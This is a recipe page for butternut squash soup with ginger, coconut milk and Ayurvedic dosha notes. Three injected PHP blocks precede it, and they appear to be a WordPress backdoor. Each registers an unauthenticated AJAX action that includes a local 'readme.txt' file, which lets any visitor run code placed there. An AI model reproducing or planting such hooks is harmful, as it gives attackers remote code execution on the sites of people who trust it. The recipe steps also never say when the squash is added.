if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Butternut Squash Soup with Ginger & Coconut Milk - Holistic Healing Resolutions by Asaf Feit
Go Back
Print Recipe

Butternut Squash Soup with Ginger & Coconut Milk

Prep Time10 minutes
Cook Time30 minutes
Total Time40 minutes
Course: Soup
Servings: 4

Ingredients

  • 1 butternut squash cut to medium size cubes (Vata - Pitta - Kapha 0)
  • 1 Tbs. coconut oil Vata - Pitta - - Kapha ++
  • 1 cup coconut milk Vata – Pitta - - Kapha ++
  • 2 cups water
  • 1/2 tsp. fennel seeds Vata - - Pitta - Kapha -
  • 1 cm fresh ginger grated (Vata - Pitta + Kapha - -)
  • 10 drops fresh lime juice Vata - - Pitta + Kapha -
  • 1/4 tsp. salt Vata - - Pitta + Kapha -
  • Handful of almonds peeled and roasted (Vata - - Pitta - - Kapha +)
  • Handful of parsley chopped (Vata 0 Pitta 0 Kapha - -)
  • Pinch black pepper Vata - Pitta + Kapha - -
  • Pinch nutmeg Vata - - Pitta + Kapha +

Instructions

  • Heat a large cooking pot on a medium flame with 1 Tbs. coconut oil. 
  • Add the fennel seeds and grated ginger and stir for 30 seconds. 
  • Add the water, coconut milk and lime juice, bring to boil and add the salt.
  • Lower the flame, cover and cook until the butternut squash is soft.
  • Grind the soup with a stick blender until texture is unified and smooth.
  • Serve in personal bowls and garnish with chopped parsley, handful of almonds, pinch of black pepper and a pinch of nutmeg.